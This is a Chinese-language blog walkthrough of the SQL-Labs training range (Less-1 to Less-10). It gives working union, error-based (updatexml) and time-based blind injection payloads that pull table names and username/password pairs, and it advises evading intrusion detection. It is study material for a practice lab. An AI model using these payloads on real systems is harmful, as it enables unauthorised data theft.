behance设计官网下载/苏州网站优化排名推广
目录
一、注入方式简要概括
1.1 SQL常见注入方式
1.2 爆破函数
二、靶场实操
2.1 Less-1
2.1.1 判断类型
2.1.2 联合注入查询
2.2 Less-2
2.2.1 判断类型
2.2.2 注入攻击
2.2.3 字符型与数字型漏洞对比
2.3 Less-3
2.3.1 判断
2.3.2 注入
2.4 Less-4
2.4.1 判断
2.4.2 注入
2.5 Less-5(布尔盲注)
2.5.1 单引号闭合和不闭合测试
2.5.2 布尔盲注一般步骤
2.5.3 注入
2.6 Less-6
2.7 Less-7
2.8 Less-8
2.9 Less-9(时间盲注)
2.9.1 测试注入点
2.9.2 时间注入简述
2.9.3 注入
在一切开始之前,我们先来了解一下sql-labs。
SQL-Labs是一个专注于SQL注入攻击的在线靶场,提供了从基础到高级的多个关卡,供学习者实践和挑战
一、注入方式简要概括
1.1 SQL常见注入方式
- 错误注入(Error-based Injection):攻击者利用应用程序返回的错误消息来识别漏洞。通过在SQL查询中插入恶意代码引发数据库错误,根据错误消息获得关于数据库结构和内容的信息;
- 联合查询注入(Union-based Injection): 利用UNION操作符将多个查询结果合并成一个结果集,获取数据库中其他表的数据,从而泄露敏感信息;
- 时间盲注(Time- based Blind Injection):攻击者通过在SQL查询中插入恶意代码,利用数据库的延时函数来确定查询是否成功执行,通过观察应用程序在响应时间方面的差异推断数据库信息;
- 布尔盲注(Boolean-based Blind Injection):通过在SQL查询语句中插入恶意代码,利用布尔逻辑来逐位猜测查询结果,通过观察应用程序在不同条件下的行为来推断数据库信息;
- 存储过程注入(Stored Procedure Injection):攻击者利用应用程序调用的存储过程中存在的漏洞,通过插入恶意参数执行未经授权的数据库操作;
- 盲注(Blind Injection):包括布尔盲注、时间盲注和基于报错的注入,攻击者通过观察页面的响应来判断数据库中的信息;
- 堆叠注入:在SQL语句末尾添加额外的SQL语句,执行多条SQL命令;
- 二次注入:攻击者通过构造数据,使得在第二次请求中执行第一次请求中构造的SQL语句;
- User-Agent注入:通过修改HTTP头中的User- Agent字段进行注入;
- Cookie注入:通过在Cookie中注入恶意的SQL代码;
- 宽字节注入:利用字符编码特性进行注入,常见于使用GBK编码的数据库。
1.2 爆破函数
1.经度爆破(mysql>=5.7x)
and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+
2.纬度爆破(mysql>=5.7x)
and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+
3.获取数据库版本信息
')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
select count(*), concat(version(), floor(rand(0) * 2))x from information
4.获取当前数据库
')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
5.updatexml()
updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数
6.extractvalue()
extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数
二、靶场实操
2.1 Less-1
2.1.1 判断类型
现在,让我们来正式开始靶场实操。
来到第一关
对于很多SQL注入漏洞,我们第一步要做的是判断“是否存在漏洞”,下面的字提示我们输入数字值的id作为参数,我们输入一个1来试一下
?id=1
同理再将id改为2或3,输入结果不同。不同的数字值返回不同的内容,这说明我们输入的内容被直接代入到数据库查询语句中,在数据库里面查询了。
接下来我们判断SQL语句是否拼接,是字符型还是数字型
我们在id=1后加了一个单引号,结果数据库报错,这说明数据库存在漏洞。继续使用--注释掉后续的内容,又返回了正确的结果,至此注入初获成功。
上面的实验验证了第一关为字符型且存在SQL注入漏洞。因为该页面存在回显,所以我们可以使用联合查询来攻破。
2.1.2 联合注入查询
联合注入的第一步首先要知道表格有几列,如果报错就是超过列数,如果正常显示就是没有超出
?id=1'order by 3 --+
order by 3的时候还正常输出,4的时候报错,这证明此数据库有三列。
第二步我们要爆出显示位,也就是看表格里面哪一列会在页面显示。
?id=-1'union select 1,2,3 --+
可以看出表格的第2,3列是在页面中显示的,这说明本表格大概是一个如下的结构,第一列是id之类的标识字段,在页面中不显示,第二列是名字,第三列是密码。(注意:我们这里只说明了有三列数据,并没有证明有几行,在上面博主只是做了id=1,2,3的三个例子,很可能不只三行)
第三步我们来获取当前数据名和版本号,注意,我们查看的内容会在name和password后输出,这是原数据库及页面设计决定的,不必在意,我们只需要得到我们想要的信息即可。
?id=-1'union select 1,database(),version() --+
第四步我们去爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
第五步我们进行爆字段名,我们通过SQL语句查询知道了当前数据库有四个表,账户和密码可能存在于users表中,所以我们接下来就是要去得到该表下的字段名以及内容。
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
通过上述操作可以得到两个敏感字段为username和password,那么第六步我们就要得到该字段对应的内容。这里可以添加一下id用于分隔账户和密码
?id=-1' union select 1,2,group_concat(username ,id , password) from users--+
2.2 Less-2
2.2.1 判断类型
类似于第一关,我们输入单引号和双引号进行判断,我们看到报错,且报错信息看不到数字,所以我们猜测SQL语句应为数字型注入。
"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"
2.2.2 注入攻击
整体过程与字符型漏洞的注入攻击过程一样,先确定有几列,然后逐步进行爆破。
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' //获取表名
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' //获取列名
?id=-1 union select 1,2,group_concat(username ,id , password) from users
2.2.3 字符型与数字型漏洞对比
数字型注入:
- 主要用于针对SQL语句中需要数字参数的地方进行注入。
- 攻击者尝试通过输入数字来改变SQL语句的逻辑,例如,通过输入一个数字来绕过某些条件限制。
- 例如,在登录验证时,如果系统使用类似
SELECT * FROM users WHERE id = '输入的数字'
的查询,攻击者可能会尝试输入一个数字来绕过身份验证。
字符型注入:
- 主要用于针对SQL语句中需要字符串参数的地方进行注入。
- 攻击者通过输入恶意的字符串来改变SQL语句的结构,从而执行未授权的命令或查询。
- 例如,如果一个网站的搜索框允许用户输入搜索条件,攻击者可能会输入类似
' OR '1'='1
的字符串,这可能会导致SQL语句变成SELECT * FROM products WHERE name = '' OR '1'='1'
,从而绕过正常的搜索逻辑,获取所有产品的列表。
2.3 Less-3
2.3.1 判断
和之前一样,我们先输入 ?id=1' 来做初步判断
根据报错显示,SQL语句是单引号字符型且有括号,所以我们需要闭合单引号且考虑括号。
2.3.2 注入
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
2.4 Less-4
2.4.1 判断
根据回显我们可以发现,是双引号字符型注入
2.4.2 注入
?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,0x7e, password) from users--+
注:最后一句中的0x7e表示为~,也是用于分隔,没有特殊含义。
2.5 Less-5(布尔盲注)
2.5.1 单引号闭合和不闭合测试
可以看出,本关为单引号闭合,但我们输入的命令并没有得到回显,所以这一关我们无法再使用联合注入来攻击了,因为联合注入需要页面有回显。
本关我们选择使用布尔盲注(Boolean Blind SQL Injection)这种注入方式通常在数据库响应不直接显示错误信息或数据内容时使用,但可以通过页面行为的变化来推断信息。
2.5.2 布尔盲注一般步骤
1. **识别注入点**:
- 首先,需要找到一个可能存在SQL注入漏洞的输入点,比如URL参数、表单输入等。
2. **构造注入语句**:
- 利用SQL注入技巧构造查询语句,通常使用布尔逻辑运算符(如AND, OR)来构造条件。
3. **确定响应模式**:
- 观察应用程序对于不同输入的响应,确定如何通过应用程序的行为变化来推断数据库中的信息。
4. **进行条件测试**:
- 通过构造条件语句,逐步测试数据库中的记录是否存在。例如,使用`AND`或`OR`来确定某个特定条件是否为真。
5. **构建查询逻辑**:
- 根据测试结果,逐步构建完整的查询逻辑,以获取数据库中的信息。
6. **提取数据**:
- 一旦确定了查询逻辑,就可以逐步提取数据库中的信息,如用户名、密码等。
7. **自动化过程**:
- 对于复杂的查询,可能需要编写脚本来自动化布尔盲注的过程。
8. **避免检测**:
- 在进行布尔盲注时,需要小心操作,避免触发应用程序的安全机制或被入侵检测系统发现。
2.5.3 注入
首先我们需要获得报错回显,这本关我们使用连接函数concat
?id=1' and updatexml(1,concat('~',(select user()),'~'),1)--+
- XML函数:
updatexml(1,concat('~',(select user()),'~'),1)
是一个尝试利用MySQL中的updatexml()
函数进行SQL注入的语句。这个函数通常用于更新XML类型的数据。 - 构造注入:
concat('~',(select user()),'~')
这部分代码尝试将一个特殊字符~
与当前数据库用户的用户名连接起来,然后再添加另一个~
。这通常用于绕过某些类型的输入过滤。
这条语句可以用来获取当前数据库连接的用户名称。
在得到了用户名称后,我们先要查看字段,从数据库中提取所有表的名称,我们使用updatexml函数来尝试绕过某些类型的输入过滤或错误处理。
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)--+
- updatexml()函数:
updatexml(1,...,1)
是MySQL中的一个函数,通常用于更新XML类型的数据。在这里,它被用于触发基于错误的注入。 - 构造注入:
concat(0x7e,...,0x7e)
使用了十六进制值0x7e
(即ASCII字符~
),这通常用作分隔符。 - 信息提取:
(select group_concat(table_name) from information_schema.tables where table_schema='security')
是一个子查询,用于从information_schema.tables
表中提取名为security
的数据库的所有表名,并将它们连接成一个字符串。
这样,我们就得到了数据库中所有表的名称。
我们可以发现,最后一层表是users,那自然而然的,我们就会想到,接下来要从security数据库的users表中提取所有列的名称。
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+
(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')
是一个子查询,用于从information_schema.columns
表中提取security
数据库中users
表的所有列名,并将它们连接成一个字符串。
最后我们来爆表。
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+
可以看到,虽然我们得到了一些数据,但并不完整,这是因为updatexml最大容纳32个字节,超出的部分无法显示。
针对此,我们可以考虑分段截取
?id=1' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--+
concat(0x7e,...,0x7e)
使用了十六进制值0x7e
(即ASCII字符~
),这通常用作分隔符。(select concat(username,0x3a,password)from users limit 0,1)
是一个子查询,用于从users
表中提取第一条记录的用户名和密码,并将它们用冒号:
(由0x3a
表示)连接起来。
这样,我们就可以依次将每条数据分离出来,要查询第二条记录时只需要改变limit 0,1的参数,如limit 1,1,limit 2,1可以查看第2,3条数据,以此类推
2.6 Less-6
与上一关类似,只是此关是通过双引号进行闭合的,将上一关的单引号改为双引号即可。
2.7 Less-7
尝试使用单引号加双括号的形式发现页面显示正常,依照前面的方式使用布尔盲注即可
2.8 Less-8
与前面类似,ID参数为一个单引号字符串。
2.9 Less-9(时间盲注)
2.9.1 测试注入点
在第九关我们发现,无论输入什么内容,页面显示都是一样的,这时我们就无法再使用布尔盲注了。
对于页面没有变化的时候,我们可以考虑使用时间注入(Time-based Blind SQL Injection)
2.9.2 时间注入简述
时间盲注是一种SQL注入攻击技术,它通过使SQL查询的执行时间依赖于数据库中的数据来提取信息。这种技术通常用于当无法直接从错误消息或页面内容变化中获取数据时。
1. **识别注入点**:
- 首先,需要找到一个可能存在SQL注入漏洞的输入点,例如查询参数、表单输入等。
2. **构造注入语句**:
- 利用SQL注入技巧构造查询语句,通常使用`BENCHMARK()`函数或`SLEEP()`函数来使查询的执行时间依赖于数据库中的数据。
3. **确定响应模式**:
- 观察应用程序对于不同输入的响应时间,确定如何通过应用程序的响应时间变化来推断数据库中的信息。
4. **进行条件测试**:
- 通过构造条件语句,逐步测试数据库中的记录是否存在。例如,使用`IF()`函数或布尔逻辑来确定某个特定条件是否为真。
5. **构建查询逻辑**:
- 根据测试结果,逐步构建完整的查询逻辑,以获取数据库中的信息。
6. **提取数据**:
- 一旦确定了查询逻辑,就可以逐步提取数据库中的信息,如用户名、密码等。这通常通过构造一个循环,逐位提取数据。
7. **自动化过程**:
- 对于复杂的查询,可能需要编写脚本来自动化时间盲注的过程,因为手动执行可能非常耗时。
2.9.3 注入
时间注入和布尔盲注两种没有多大差别,只不过时间盲注多了if函数和sleep函数。基本原理为:if(a,sleep(10),1) 如果a的结果为真,那么执行sleep函数,页面休眠10秒,如果a的结果为假,页面则不延迟。
?id=1' and if(1=1,sleep(5),1)--+
//判断参数构造
在执行后我们可以看到,页面处于加载状态,五秒后才正常,当然是因为1=1为真,所以页面休眠了五秒。
根据这个思路,我们继续进行判断,先来判断数据库名长度。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
这样逐步减少猜测的长度,猜到7时页面休眠,说明我们猜对了(根据答案写过程,前面几关我们已知数据库名为security,确实长度为7)
知道了长度后,我们就可以开始逐一判断数据库字符。
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
substr((select database()),1,1)
是一个子查询,用于提取当前数据库名的第一个字符。- ASCII值比较:
ascii('字符')
函数用于获取字符的ASCII值。在这里,它与数字115
(字符's'的ASCII值)进行比较。
就像这样逐步逐词进行爆破,可以编写一个脚本来辅助,这里不做演示。
之后也是类似的原理,依次对表、字段内容进行判断。
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
//判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
//逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
//判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
//逐一判断字段名
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
//判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
//逐一检测内容
2.10 Less-10
第十关与第九关基本相同,单引号换成了双引号而已。
相关文章:

【靶场实操】sql-labs通关详解----第一节:基础注入方式(Less-1~Less-10)
目录 一、注入方式简要概括 1.1 SQL常见注入方式 1.2 爆破函数 二、靶场实操 2.1 Less-1 2.1.1 判断类型 2.1.2 联合注入查询 2.2 Less-2 2.2.1 判断类型 2.2.2 注入攻击 2.2.3 字符型与数字型漏洞对比 2.3 Less-3 2.3.1 判断 2.3.2 注入 2.4 Less-4 2.4.1 判断…...

力扣676.实现一个魔法字典
力扣676.实现一个魔法字典 字典树 dfs class Trie{public:Trie* next[26];bool is_end false;};class MagicDictionary {public:Trie* root new Trie();void add(string& word){Trie* p root;for(char c:word){if(p->next[c-a] NULL) p->next[c-a] new Trie…...

ctfshow-web入门-sql注入(web171-web175)
目录 1、web171 2、web172 3、web173 4、web174 5、web175 1、web171 单引号测一下,报错 -- 闭合后回显正常 也可以用 # ,不过需要 URL 编码 成功闭合之后,先判断下字段数: 1 order by 3-- 3 的时候正常 4 的时候报错&am…...

视频怎么添加音乐?分享5种视频添加音乐方法
在如今火爆的短视频时代,为视频添加合适的背景音乐,无疑是让其脱颖而出的关键一步。无论是打造个人Vlog、纪录片,还是创意短片,音乐都能赋予视频独特的情感与氛围。那么怎么给视频添加上背景音乐呢?给大家分享5种简单的…...

黑马JavaWeb后端案例开发(包含所有知识点!!!)
目录 1.准备工作 环境搭建 开发规范 REST(REpresentation State Transfer),表述性状态转换,它是一种软件架构风格 注意事项 统一响应结果 2.部门管理功能 查询部门 删除部门 新增部门 RequestMapping 3.员工管理功能 分页查询 批…...

FPGA开发——蜂鸣器实现音乐播放器的设计
一、概述 我们在进行蜂鸣器的学习的时候,总会在想既然蜂鸣器能够发出声音,那么它能够播放音乐吗,今天这篇我们文章我们就一起来学习怎样使用使用蜂鸣器来播放音乐,也就是怎样成为一个音乐播放器。 1、蜂鸣器的类型 在设计的时候…...

InnoDB存储引擎(1)
InnoDB存储引擎的优点 InnoDB在设计时考虑到了处理大数据量时的性能,支持事务,回滚和崩溃修复的能力,通过多版本并发控制来减少锁定(降低了锁的争用),同时还支持外键的约束;通过缓冲池在内存中缓存数据来提高查询的性能ÿ…...

VMWare虚拟机共享主机的网络访问外网
1.主机中启动客户端并连接外网 2.设置虚拟网络类型为NAT 3.启动虚拟并通过主机访问外网...

LeetCode Easy|【415. 字符串相加】
力扣题目链接 题目本身难度不大,但是后续的一些补充内容还是值得搞清楚的 主要的逻辑如下: 其实本题的目的就是让我们来模拟我们的竖式加法。所以很直观的一个想法就是使用双指针:分别指向两个 num 的末尾。随后就会产生一些问题:…...

RAG 革命:NVIDIA 工作站如何成为企业 AI 的秘密武器
在深圳的一家科技初创公司,首席技术官李梅正在向她的团队展示一个令人兴奋的新项目。“看这个,” 她指着屏幕上的实时演示说,“我们刚刚用公司的技术文档训练了一个 AI 助手,它现在可以回答任何关于我们产品的问题,而且…...

九大原则,轻松构建个人高效SOP
1、原则一、工作汇报SOP SCQA模型(升职加薪的关键!) 清晰定义问题和提出解决方案 类别 关键词 解读 S - Situation 情景 陈述项目背景,目标,愿景 C - Complication 冲突 讲卡点,讲冲突 Q - Question 疑问-问题 这些冲…...

Airtest的demo实现多设备并行
Airtest的demo实现多设备并行 它实现是的获取adb连接上的所有设备,然后在每一台设备上跑给定的测试用例,跑完之后生成单机的测试报告,最后再汇总这些单机测试报告的结果,形成汇总(聚合)报告: 同…...

社区养老服务小程序的设计
管理员账户功能包括:系统首页,个人中心,用户管理,服务人员管理,服务产品管理,服务预约管理,服务状态管理,服务退订管理,活动管理,视频管理 微信端账号功能包…...

Interceptor拦截器开发
因为1登录后的接口都需要token验证代码,会出现重复代码;2当前的接口不防刷,会被恶意攻击 所以在controller层增加请求拦截,如果你的token不合法,就不让你做后续的处理了 拦截器的作用是什么 作用: 1、对controller层代码的访问进行拦截,合法的请求,那此层代码就处理,反…...

美团 AIGC产品经理面经(已拿 offer)
背景:211本科毕业,毕业之后在北京一家中型电商公司做了3年商家后台产品经理,目前通过老薛的朋友关系拿到了美团的offer。 目前还有几家在面试流程中,继续加油💪 美团AIGC产品面经-业务面 💥1、自我介绍&a…...

@RequestBody与@RequestParam
RequestBody会将请求体中的数据,转换成对象.最主要的是RequestBody就是要返回Json的字符串!!! RequestParam会从http请求查询参数中提取数据! RequestParam和RequestBody是Spring Framework中用于处理HTTP请求的注解…...

vmware上,虚机经常丢失网卡。导致无法上网。
1、winR 输入 services.msc 2、重启这两个服务。 VMware NAT service和VMware DHCP service...

git 鉴权失败
这条错误信息通常出现在使用Git进行远程操作时,比如克隆仓库、拉取更新或推送代码。错误的含义是: HTTP Basic: Access denied:访问被拒绝。The provided password or token is incorrect:提供的密码或令牌不正确。Your account …...

[C++] 容器适配器:深入理解Stack与Queue的底层原理
文章目录 容器适配器简介deque的缺陷为什么使用deque作为stack和queue的底层默认容器 stack和queue的简单讲解Stack(栈)栈的操作图示栈的相关接口 Queue(队列) Stack和Queue的模拟实现Stack(栈)作为容器适配…...

Eclipse maven 的坑
在使用 eclipse 时, eclipse 的右下角 一直在提示 “JPA java change event handler” ,eclipse使用起来很卡,解决办法 问题描述: 在使用 eclipse时, eclipse 的右下角 一直在提示 “JPA java change event handler”…...

多模态视觉大语言模型——LLaVA
论文题目:Visual Instruction Tuning 论文地址:https://arxiv.org/abs/2304.08485 github: https://github.com/haotian-liu/LLaVA 1. Abstract 本文首次尝试使用GPT-4生成多模态指令数据,并基于这些数据训练了LLaVA(Large Language and Vision Assistant)模型,这是一种结…...

服务注册到nacos上,不能点击下线的问题处理
nacos不能下线: 修改 /usr/local/mid/nacos/data 文件夹下 protocol 文件重命名为 protocol_bak,然后再重启nacos nacos单机启动命令:cd sh startup.sh -m standalone nginx启动命令:cd /usr/local/mid/nginx/sbin ./…...

未来3-5年,哪些工作会被AI取代
一篇由高盛经济学家约瑟夫布里格斯 (Joseph Briggs)和德维西科德纳尼 (Devesh Kodnani)撰写的报告指出,全球预计将有3亿个工作岗位被生成式AI取代。 报告称:“最近出现的生成式人工智能将降低劳动力成本和…...

鸿蒙系统开发【网络管理】
网络管理 介绍 此Demo展示如何查询网络详情、域名解析、网络状态监听等功能。 效果预览: 使用说明: 1.启动应用,在点击检查网络、网络详情、网络连接信息后,展示对应的信息; 2.在域名解析的模块下,输入…...

nginx如何处理请求
nginx如何处理请求 注:内容翻译自Nginx官网文档 How nginx processes a request。 基于名称的虚拟服务器 nginx首先要决定哪个服务器应该处理请求。让我们从一个简单的配置开始,三个虚拟服务器都监听在端口*:80: server {listen 80;server_name e…...

换地不换IP?揭秘微博IP地址的奥秘
在这个信息飞速传递的时代,社交媒体成为我们生活中不可或缺的一部分。微博,作为其中的佼佼者,不仅是我们获取资讯的重要渠道,也是展现自我、分享生活的重要平台。然而,你有没有遇到过这样的情况:明明已经换…...

数据库事务处理技术——故障恢复
1. 数据故障恢复的宏观思路 我们知道DBMS是利用内存(主存)和外存(辅存)这样的存储体系进行数据库的管理,其中内存也就是我们常说的缓存是易失的。而事务时DBMS对数据库进行控制的基本单元,宏观上是由程序设…...

Java零基础之多线程篇:性能考虑篇
哈喽,各位小伙伴们,你们好呀,我是喵手。运营社区:C站/掘金/腾讯云;欢迎大家常来逛逛 今天我要给大家分享一些自己日常学习到的一些知识点,并以文字的形式跟大家一起交流,互相学习,一…...

CSP 初赛复习 :计算机网络基础
计算机网络的基础和网络的拓扑结构是计算机网络设计和实施的关键要素。 计算机网络的基础涉及多个方面,包括网络层协议(如IP、ICMP、IGMP等)、传输层协议(TCP、UDP等)以及应用层协议(…...

【Docker应用】快速搭建Plik服务结合内网穿透无公网IP远程访问传输文件
文章目录 前言1. Docker部署Plik2. 本地访问Plik3. Linux安装Cpolar4. 配置Plik公网地址5. 远程访问Plik6. 固定Plik公网地址7. 固定地址访问Plik 前言 本文介绍如何使用Linux docker方式快速安装Plik并且结合Cpolar内网穿透工具实现远程访问,实现随时随地在任意设…...